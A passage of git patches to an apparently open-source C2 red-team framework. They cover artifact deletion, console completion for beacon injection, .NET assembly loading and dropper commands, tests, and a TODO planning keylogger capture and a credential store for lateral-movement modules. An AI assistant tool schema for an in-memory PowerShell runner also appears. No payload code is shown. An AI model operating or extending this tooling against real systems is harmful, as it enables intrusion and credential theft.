self.setCaseSensitivity(Qt.CaseSensitivity.CaseInsensitive) + self.createModel(data) + + def updateData(self, data): self.createModel(data) def splitPath(self, path): diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 1cadddd..2261d4e 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -252,8 +252,8 @@ def uploadArtifact(self, name: str, data: bytes, platform: str = "any", arch: st lambda: self.stub.UploadArtifact(request, metadata=self.metadata), ) - def deleteGeneratedArtifact(self, artifact_id: str) -> Any: - """Delete a generated artifact by id.""" + def deleteArtifact(self, artifact_id: str) -> Any: + """Delete a deletable TeamServer artifact by id.""" selector = TeamServerApi_pb2.ArtifactSelector(artifact_id=artifact_id) return self._unary_rpc( @@ -261,6 +261,11 @@ def deleteGeneratedArtifact(self, artifact_id: str) -> Any: lambda: self.stub.DeleteGeneratedArtifact(selector, metadata=self.metadata), ) + def deleteGeneratedArtifact(self, artifact_id: str) -> Any: + """Delete a generated artifact by id.""" + + return self.deleteArtifact(artifact_id) + def listCommands(self, query: Optional[Any] = None) -> Iterable[Any]: """Return command specs exposed by the TeamServer catalog.""" diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index 4646ccb..c6f2962 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -58,6 +58,22 @@ def __init__(self): sha256="c" * 64, description="Generated shellcode for assemblyExec.", ), + SimpleNamespace( + artifact_id="artifact-hosted-1", + name="dropper.exe", + display_name="dropper.exe", + category="hosted", + scope="generated", + target="listener", + platform="any", + arch="any", + runtime="file", + format="exe", + source="operator", + size=1024, + sha256="e" * 64, + description="Hosted dropper.", + ), ] self.deleted = [] self.downloaded = [] @@ -90,13 +106,20 @@ def name_matches(artifact): and name_matches(artifact) ]) - def deleteGeneratedArtifact(self, artifact_id): + def deleteArtifact(self, artifact_id): self.deleted.append(artifact_id) + message = "Generated artifact deleted." + for artifact in self.artifacts: + if artifact.artifact_id == artifact_id and artifact.category == "hosted": + message = "Hosted artifact deleted." self.artifacts = [ artifact for artifact in self.artifacts if artifact.artifact_id != artifact_id ] - return SimpleNamespace(status=TeamServerApi_pb2.OK, message="Generated artifact deleted.") + return SimpleNamespace(status=TeamServerApi_pb2.OK, message=message) + + def deleteGeneratedArtifact(self, artifact_id): + return self.deleteArtifact(artifact_id) def downloadArtifact(self, artifact_id): self.downloaded.append(artifact_id) @@ -153,8 +176,8 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): assert panel.categoryFilter.findText("minidump") != -1 assert panel.categoryFilter.findText("screenshot") != -1 assert panel.categoryFilter.findText("hosted") != -1 - assert not panel.isGeneratedArtifact(SimpleNamespace(category="hosted", scope="generated")) - assert panel.artifactTable.rowCount() == 3 + assert panel.isDeletableArtifact(SimpleNamespace(category="hosted", scope="generated")) + assert panel.artifactTable.rowCount() == 4 assert panel.artifactTable.item(0, 0).text() == "module" assert panel.artifactTable.item(0, 1).text() == "beacon" assert panel.artifactTable.item(0, 2).text() == "beacon" @@ -224,6 +247,30 @@ def test_artifacts_panel_filters_on_selection_and_deletes_generated(qtbot, monke assert panel.statusLabel.text() == "Artifacts: Generated artifact deleted." +def test_artifacts_panel_deletes_hosted_artifacts(qtbot, monkeypatch): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + panel.categoryFilter.setCurrentText("hosted") + assert panel.artifactTable.rowCount() == 1 + assert panel.artifactTable.item(0, 0).text() == "hosted" + + monkeypatch.setattr( + QMessageBox, + "question", + lambda *args, **kwargs: QMessageBox.StandardButton.Yes, + ) + panel.artifactTable.selectRow(0) + assert panel.deleteButton.isEnabled() + panel.deleteButton.click() + + assert grpc.deleted == ["artifact-hosted-1"] + assert panel.artifactTable.rowCount() == 0 + assert panel.statusLabel.text() == "Artifacts: Hosted artifact deleted." + + def test_artifacts_panel_downloads_and_uploads_files(qtbot, monkeypatch, tmp_path): grpc = FakeGrpc() parent = QWidget() diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index e080f92..0cf0f55 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -67,14 +67,19 @@ def test_command_history_and_logging(tmp_path, qtbot, monkeypatch): console = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') qtbot.addWidget(console) - console.commandEditor.setText('help') + console.commandEditor.setText('help assemblyExec') console.runCommand() history_file = tmp_path / '.cmdHistory' - assert history_file.read_text() == 'help\n' + assert history_file.read_text() == 'help assemblyExec\n' log_file = tmp_path / 'host_user_beacon.log' - assert 'send: "help"' in log_file.read_text() + assert 'send: "help assemblyExec"' in log_file.read_text() + output = console.editorOutput.toPlainText() + assert "[queued]" in output + assert "[done]" in output + assert "[>>]" not in output + assert "[<<]" not in output def test_command_ack_error_is_displayed_without_pending_emit(tmp_path, qtbot, monkeypatch): @@ -104,7 +109,7 @@ def test_command_ack_error_is_displayed_without_pending_emit(tmp_path, qtbot, mo assert 'rejected: "whoami"' in (tmp_path / 'host_user_beacon.log').read_text() -def test_list_module_command_uses_list_modules_without_queueing(tmp_path, qtbot, monkeypatch): +def test_list_module_command_uses_local_status_without_session_queueing(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) @@ -127,6 +132,10 @@ def test_list_module_command_uses_list_modules_without_queueing(tmp_path, qtbot, assert grpc.list_modules_requests[0].beacon_hash == "beacon" assert grpc.list_modules_requests[0].listener_hash == "listener" output = console.editorOutput.toPlainText() + assert "[queued]" in output + assert "[done]" in output + assert "[>>]" not in output + assert "[<<]" not in output assert "pwd" in output assert "loaded" in output assert "shell" in output diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index a0749f4..29d5ebc 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -124,6 +124,30 @@ def test_grpc_client_uploads_artifact(tmp_path, monkeypatch): assert events == [("UploadArtifact", True, "")] +def test_grpc_client_deletes_artifact(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + response = object() + stub.DeleteGeneratedArtifact.return_value = response + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert client.deleteArtifact("artifact-1") is response + request = stub.DeleteGeneratedArtifact.call_args.args[0] + assert isinstance(request, TeamServerApi_pb2.ArtifactSelector) + assert request.artifact_id == "artifact-1" + assert stub.DeleteGeneratedArtifact.call_args.kwargs["metadata"] == client.metadata + assert events == [("DeleteGeneratedArtifact", True, "")] + + def test_grpc_client_lists_commands(tmp_path, monkeypatch): cert = tmp_path / "cert.crt" cert.write_text("cert") diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 8094847..e5ecd62 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -13,6 +13,25 @@ class FakeGrpc: def __init__(self): self.commands = [] + def listArtifacts(self, query=None): + return iter([ + SimpleNamespace( + artifact_id="artifact-1234567890", + name="hosted/dropper.exe", + display_name="dropper.exe", + ), + ]) + + def listListeners(self): + return iter([ + SimpleNamespace(listener_hash="listener-primary"), + ]) + + def listSessions(self): + return iter([ + SimpleNamespace(beacon_hash="beacon-active"), + ]) + def executeTerminalCommand(self, command): self.commands.append(command.command) if command.command.startswith(terminal_panel.GrpcInfoListenerInstruction): @@ -49,6 +68,10 @@ def generatePayloadsExploration(binary, binaryArgs, rawShellCode, url, aditional FakeDropperModule.__name__ = "FakeDropper" +def _completion_children(entries, text): + return next(children for entry_text, children in entries if entry_text == text) + + def test_extract_dropper_target_arch_accepts_aliases_and_removes_flag(): target_arch, remaining = terminal_panel.extractDropperTargetArch( ["--arch", "aarch64", "--other", "value"], @@ -144,6 +167,19 @@ def test_terminal_shows_welcome_message(qtbot): assert "Type Help to list available commands" in output +def test_terminal_uses_dark_panel_toolbar(qtbot): + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + assert "#0b1117" in terminal.styleSheet() + assert terminal.layout.spacing() == 6 + assert terminal.searchInput.placeholderText() == "Search output" + assert terminal.commandEditor.placeholderText() == "Terminal command" + assert terminal.clearOutputButton.text() == "Clear" + assert terminal.exportLogButton.text() == "Export" + + def test_terminal_user_commands_use_user_badge(qtbot, tmp_path, monkeypatch): monkeypatch.chdir(tmp_path) parent = QWidget() @@ -172,3 +208,47 @@ class Completed: error = terminal_panel.createDonutShellcode("./Beacon-arm64.exe", "127.0.0.1 443 https", "arm64") assert error == "Donut shellcode generation crashed with signal 11." + + +def test_terminal_completer_uses_artifacts_listeners_sessions_and_dropper_modules(monkeypatch): + monkeypatch.setattr(terminal_panel, "DropperModules", [FakeDropperModule]) + monkeypatch.setattr(terminal_panel, "ShellCodeModules", []) + + completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) + + help_children = _completion_children(completions, terminal_panel.HelpInstruction) + assert (terminal_panel.HostInstruction, []) in help_children + assert (terminal_panel.SocksInstruction, []) in help_children + + host_children = _completion_children(completions, terminal_panel.HostInstruction) + artifact_children = _completion_children(host_children, "dropper.exe") + listener_children = _completion_children(artifact_children, "listener-primary") + assert ("", []) in listener_children + + dropper_children = _completion_children(completions, terminal_panel.DropperInstruction) + module_children = _completion_children(dropper_children, "FakeDropper") + download_listener_children = _completion_children(module_children, "listener-primary") + beacon_listener_children = _completion_children(download_listener_children, "listener-primary") + arch_children = _completion_children(beacon_listener_children, "--arch") + assert ("arm64", []) in arch_children + + config_children = _completion_children(dropper_children, terminal_panel.DropperConfigSubInstruction) + generator_children = _completion_children(config_children, terminal_panel.DropperConfigShellcodeGeneratorDisplay) + assert (terminal_panel.ShellcodeGeneratorDonut, []) in generator_children + + socks_children = _completion_children(completions, terminal_panel.SocksInstruction) + socks_bind_children = _completion_children(socks_children, "bind") + assert ("beacon-active", []) in socks_bind_children + + +def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) + qtbot.addWidget(editor) + + assert editor.codeCompleter.setCurrentRow(0) is True + editor.nextCompletion() + assert editor.codeCompleter.currentRow() == 1 + + editor.nextCompletion() + assert editor.codeCompleter.currentRow() == 2 diff --git a/core b/core index 29b1bb7..869414d 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 29b1bb72675211415c2457097b6d597cd559bc86 +Subproject commit 869414df587263ff6ed1b5218f9584f6bf2a06c1 diff --git a/docs/artifacts.md b/docs/artifacts.md index d2a987b..0f601f0 100644 --- a/docs/artifacts.md +++ b/docs/artifacts.md @@ -118,8 +118,9 @@ runtime: file source: operator ``` -They are downloadable from the Artifacts UI and served by listeners, but they are -not deleted through the generated-artifact delete path. +They are downloadable from the Artifacts UI, served by listeners, and deletable +from the Artifacts UI. Deletion is restricted to files that resolve under +`GeneratedArtifacts/hosted`. ## Command Specs @@ -138,7 +139,7 @@ The Artifacts tab is the operational view for the catalog: - upload stores files under `UploadedArtifacts` - download writes the selected artifact to the client machine - generated sidecar-backed artifacts can be deleted -- hosted files are visible through the `hosted` category +- hosted files are visible through the `hosted` category and can be deleted The Terminal `Host` command works from catalog artifacts, not local client files: diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 45cdd08..2ce405b 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -609,8 +609,47 @@ bool TeamServerArtifactCatalog::deleteGeneratedArtifact(const std::string& artif }); if (it == generatedArtifacts.end()) { - message = "Generated artifact not found."; - return false; + TeamServerArtifactQuery hostedQuery; + hostedQuery.category = "hosted"; + hostedQuery.scope = "generated"; + const std::vector hostedArtifacts = listArtifacts(hostedQuery); + const auto hostedIt = std::find_if( + hostedArtifacts.begin(), + hostedArtifacts.end(), + [&](const TeamServerArtifactRecord& artifact) + { + return artifact.artifactId == artifactId; + }); + + if (hostedIt == hostedArtifacts.end()) + { + message = "Artifact not found."; + return false; + } + + const fs::path hostedRoot = m_runtimeConfig.hostedArtifactsDirectoryPath; + const fs::path payloadPath = hostedIt->internalPath; + if (!isPathWithinRoot(payloadPath, hostedRoot)) + { + message = "Hosted artifact path is outside the hosted artifact root."; + return false; + } + + std::error_code hostedEc; + const bool removedHostedPayload = fs::remove(payloadPath, hostedEc); + if (hostedEc) + { + message = "Hosted artifact could not be deleted: " + hostedEc.message(); + return false; + } + if (!removedHostedPayload) + { + message = "Hosted artifact file was already missing."; + return false; + } + + message = "Hosted artifact deleted."; + return true; } if (it->scope != "generated") diff --git a/teamServer/teamServer/TeamServerArtifactService.cpp b/teamServer/teamServer/TeamServerArtifactService.cpp index 023c4a1..9fd8a6e 100644 --- a/teamServer/teamServer/TeamServerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerArtifactService.cpp @@ -98,9 +98,9 @@ grpc::Status TeamServerArtifactService::deleteGeneratedArtifact( response->set_status(deleted ? teamserverapi::OK : teamserverapi::KO); response->set_message(message); if (deleted) - m_logger->info("Deleted generated artifact {0}", selector.artifact_id()); + m_logger->info("Deleted artifact {0}", selector.artifact_id()); else - m_logger->warn("Delete generated artifact failed for {0}: {1}", selector.artifact_id(), message); + m_logger->warn("Delete artifact failed for {0}: {1}", selector.artifact_id(), message); return grpc::Status::OK; } diff --git a/teamServer/teamServer/TeamServerHelpService.cpp b/teamServer/teamServer/TeamServerHelpService.cpp index b848eb9..5a457db 100644 --- a/teamServer/teamServer/TeamServerHelpService.cpp +++ b/teamServer/teamServer/TeamServerHelpService.cpp @@ -152,8 +152,6 @@ std::string TeamServerHelpService::sessionPlatform(const std::string& beaconHash return "windows"; if (os.find("linux") != std::string::npos) return "linux"; - if (os.find("mac") != std::string::npos || os.find("darwin") != std::string::npos) - return "macos"; return ""; } diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index d7b2492..163ff2d 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -278,7 +278,30 @@ void testCatalogIndexesAndDeletesGeneratedArtifacts() artifacts = catalog.listArtifacts(query); assert(artifacts.empty()); assert(!catalog.deleteGeneratedArtifact(record.artifactId, message)); - assert(message == "Generated artifact not found."); + assert(message == "Artifact not found."); +} + +void testCatalogDeletesHostedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("hosted-delete")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin", "hosted-file"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "hosted"; + query.scope = "generated"; + std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + const std::string artifactId = artifacts[0].artifactId; + std::string message; + assert(catalog.deleteGeneratedArtifact(artifactId, message)); + assert(message == "Hosted artifact deleted."); + assert(!fs::exists(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin")); + + artifacts = catalog.listArtifacts(query); + assert(artifacts.empty()); } void testArtifactServiceStreamsPublicMetadataOnly() @@ -397,7 +420,7 @@ void testArtifactServiceDeletesGeneratedArtifacts() teamserverapi::OperationAck missingResponse; assert(service.deleteGeneratedArtifact(selector, &missingResponse).ok()); assert(missingResponse.status() == teamserverapi::KO); - assert(missingResponse.message() == "Generated artifact not found."); + assert(missingResponse.message() == "Artifact not found."); } } // namespace @@ -406,6 +429,7 @@ int main() testCatalogIndexesReleaseRoots(); testCatalogFiltersArtifacts(); testCatalogIndexesAndDeletesGeneratedArtifacts(); + testCatalogDeletesHostedArtifacts(); testArtifactServiceStreamsPublicMetadataOnly(); testArtifactServiceDownloadsArtifactPayload(); testArtifactServiceUploadsOperatorArtifact(); diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp index 6f068eb..ff6973f 100644 --- a/teamServer/tests/TeamServerCommandCatalogTests.cpp +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -234,7 +234,7 @@ void testCommandCatalogFiltersSpecs() assert(commands.size() == 1); assert(commands[0].name == "sleep"); - query.platform = "macos"; + query.platform = "unsupported"; assert(catalog.listCommands(query).empty()); } From dea55e40e46114b40ad4f6bf144f82457cd5de86 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 21:02:14 +0200 Subject: [PATCH 47/82] stabilisation --- C2Client/C2Client/ConsolePanel.py | 30 +++- .../assistant_agent/tools/schemas/pwSh.json | 2 +- C2Client/TODO.md | 20 ++- C2Client/tests/test_console_panel.py | 61 ++++++- core | 2 +- .../TeamServerListenerSessionService.cpp | 6 + .../TeamServerScriptCommandPreparer.cpp | 2 +- ...amServerCommandPreparationServiceTests.cpp | 2 +- .../TeamServerListenerSessionServiceTests.cpp | 161 ++++++++++++++++++ 9 files changed, 269 insertions(+), 17 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 1fc8844..8d9ec62 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -83,6 +83,7 @@ "printworkingdirectory": "pwd", } PID_COMPLETION_PLACEHOLDER = "" +DOTNET_LOAD_NAME_PLACEHOLDER = "" def _completion_suffix(command_name: Any, example: Any): @@ -206,6 +207,13 @@ def _artifact_value_continuations(arg: Any, command_name: str = "") -> list[str] return [] +def _artifact_specific_continuations(arg: Any, command_name: str, artifact_value: str) -> list[str]: + if command_name == "dotnetExec" and _arg_name(arg) == "assembly_artifact": + if artifact_value.lower().endswith(".dll"): + return [""] + return [] + + def _add_inject_pid_continuations(children: list[tuple[str, list]], arg: Any) -> None: pid_entry = _find_entry(children, "--pid") if pid_entry is None: @@ -237,7 +245,11 @@ def _add_artifact_completions( _add_completion_value(children, value) artifact_entry = _find_entry(children, value) if artifact_entry is not None: - for continuation in continuations: + artifact_continuations = [ + *continuations, + *_artifact_specific_continuations(arg, command_name, value), + ] + for continuation in artifact_continuations: _add_completion_value(artifact_entry[1], continuation) if command_name == "inject": _add_inject_pid_continuations(artifact_entry[1], arg) @@ -574,6 +586,19 @@ def _add_contextual_completions( for module_name in loaded_module_names: _add_completion_value(children, module_name) + if name == "dotnetExec": + load_entry = _find_entry(children, "load") + if load_entry is None: + _add_completion_path(children, ["load"]) + load_entry = _find_entry(children, "load") + if load_entry is not None: + _add_completion_path(load_entry[1], [DOTNET_LOAD_NAME_PLACEHOLDER]) + name_entry = _find_entry(load_entry[1], DOTNET_LOAD_NAME_PLACEHOLDER) + if name_entry is not None: + for arg in getattr(command, "args", []): + if _arg_name(arg) == "assembly_artifact": + _add_artifact_completions(name_entry[1], grpcClient, arg, session, name) + def command_specs_to_completer_data( command_specs: list[Any], @@ -1404,6 +1429,9 @@ def splitPath(self, path): self.placeholderValues[PID_COMPLETION_PLACEHOLDER] = parts[index + 1] parts[index + 1] = PID_COMPLETION_PLACEHOLDER break + if len(parts) >= 3 and parts[0] == "dotnetExec" and parts[1] == "load" and parts[2]: + self.placeholderValues[DOTNET_LOAD_NAME_PLACEHOLDER] = parts[2] + parts[2] = DOTNET_LOAD_NAME_PLACEHOLDER return parts def pathFromIndex(self, ix): diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json b/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json index 5bc7b4d..ce4c5f4 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json @@ -1,6 +1,6 @@ { "name": "pwSh", - "description": "Initialize or use the in-memory PowerShell runner. Init loads the fixed rdm.dll tool artifact.", + "description": "Initialize or use the in-memory PowerShell runner. Init loads the fixed Tools/Any/any/rdm.dll tool artifact.", "command_template": "pwSh {action} {command_or_script:raw?} {arguments:raw?}", "parameters": { "type": "object", diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 1503ecf..3eefb87 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -24,13 +24,15 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | | 18 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | -| 19 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | -| 20 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | -| 21 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | -| 22 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | -| 23 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | -| 24 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | -| 25 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| 19 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | +| 20 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 21 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 22 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | +| 23 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 24 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 25 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 26 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 27 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | ## Details `.env` @@ -87,5 +89,5 @@ C2_SHELLCODE_MODULES_DIR= 1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. 2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. -3. Phase 3: items 17 a 20. Premier contrat client-server propre pour capabilities, commandes et erreurs. -4. Phase 4: items 21 a 25. Fonctionnalites operationnelles avancees et reduction du polling. +3. Phase 3: items 17 a 21. Contrat client-server propre pour capabilities, commandes, erreurs et artefacts generes par flux. +4. Phase 4: items 22 a 27. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 0cf0f55..6761876 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -12,6 +12,7 @@ CommandEditor, Console, ConsolesTab, + DOTNET_LOAD_NAME_PLACEHOLDER, _load_artifacts_for_arg, build_completer_data, command_specs_to_completer_data, @@ -513,7 +514,9 @@ def __init__(self): def listArtifacts(self, query): self.queries.append(query) - if query.name_contains == ".exe": + if query.category == "beacon" and query.name_contains == ".exe": + return iter([SimpleNamespace(name="BeaconHttp.exe", display_name="BeaconHttp.exe")]) + if query.category == "tool" and query.name_contains == ".exe": return iter([ SimpleNamespace(name="windows/Seatbelt.exe", display_name="Seatbelt.exe"), SimpleNamespace(name="SharpHound.exe", display_name="SharpHound.exe"), @@ -551,6 +554,15 @@ def listArtifacts(self, query): runtime="any", name_contains=".bin", ) + artifact_filter_beacon_exe = SimpleNamespace( + category="beacon", + scope="implant", + target="listener", + platform="windows", + arch="session.arch", + runtime="native", + name_contains=".exe", + ) assembly_spec = SimpleNamespace( name="assemblyExec", kind="module", @@ -609,7 +621,10 @@ def listArtifacts(self, query): args=[ SimpleNamespace(name="--pid", type="flag", values=[]), SimpleNamespace(name="--raw", type="flag", values=[], artifact_filter=artifact_filter_bin), - SimpleNamespace(name="--donut-exe", type="flag", values=[], artifact_filter=artifact_filter_exe), + SimpleNamespace(name="--donut-exe", type="flag", values=[], artifact_filters=[ + artifact_filter_exe, + artifact_filter_beacon_exe, + ]), SimpleNamespace(name="--donut-dll", type="flag", values=[], artifact_filter=artifact_filter_dll), SimpleNamespace(name="--method", type="flag", values=[]), ], @@ -620,7 +635,9 @@ def listArtifacts(self, query): raw_children = _completion_children(inject_children, "--raw") assert _completion_children(raw_children, "payloads/loader.bin") assert _completion_children(_completion_children(raw_children, "payloads/loader.bin"), "--pid") - assert ("--", []) in _completion_children(_completion_children(inject_children, "--donut-exe"), "SharpHound.exe") + inject_exe_children = _completion_children(inject_children, "--donut-exe") + assert ("--", []) in _completion_children(inject_exe_children, "SharpHound.exe") + assert ("--", []) in _completion_children(inject_exe_children, "BeaconHttp.exe") inject_dll_children = _completion_children(inject_children, "--donut-dll") assert _completion_children(_completion_children(inject_dll_children, "Tools/Example.dll"), "--pid") assert ("--method", []) in _completion_children(inject_dll_children, "Tools/Example.dll") @@ -644,6 +661,44 @@ def listArtifacts(self, query): "--donut-exe", "", ] + + dotnet_artifact_arg = SimpleNamespace( + name="assembly_artifact", + type="artifact", + values=[], + artifact_filters=[artifact_filter_exe, artifact_filter_dll], + ) + dotnet_spec = SimpleNamespace( + name="dotnetExec", + kind="module", + examples=[ + "dotnetExec load seatbelt Seatbelt.exe", + "dotnetExec load tool Tool.dll Namespace.Type", + ], + args=[ + SimpleNamespace(name="action", type="enum", values=["load", "runExe", "runDll"]), + SimpleNamespace(name="module_name", type="text", values=[]), + dotnet_artifact_arg, + SimpleNamespace(name="type_or_method", type="text", values=[]), + ], + ) + + grpc.queries.clear() + server_data = command_specs_to_completer_data([dotnet_spec], grpcClient=grpc) + dotnet_children = _completion_children(server_data, "dotnetExec") + dotnet_load_children = _completion_children(dotnet_children, "load") + dotnet_name_children = _completion_children(dotnet_load_children, DOTNET_LOAD_NAME_PLACEHOLDER) + assert ("SharpHound.exe", []) in dotnet_name_children + assert _completion_children(dotnet_name_children, "Tools/Example.dll") + assert ("", []) in _completion_children(dotnet_name_children, "Tools/Example.dll") + assert CodeCompleter(server_data).splitPath("dotnetExec load seatbelt Tools/Example.dll ") == [ + "dotnetExec", + "load", + DOTNET_LOAD_NAME_PLACEHOLDER, + "Tools/Example.dll", + "", + ] + assert [query.name_contains for query in grpc.queries] == [".exe", ".dll"] assert completer.splitPath("inject --donut-exe SharpHound.exe --pid 4321 ") == [ "inject", "--donut-exe", diff --git a/core b/core index 869414d..43129fe 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 869414df587263ff6ed1b5218f9584f6bf2a06c1 +Subproject commit 43129fe1b42b0eb3bacfab780c2200d6a51332ee diff --git a/teamServer/teamServer/TeamServerListenerSessionService.cpp b/teamServer/teamServer/TeamServerListenerSessionService.cpp index c6d3e85..02332c2 100644 --- 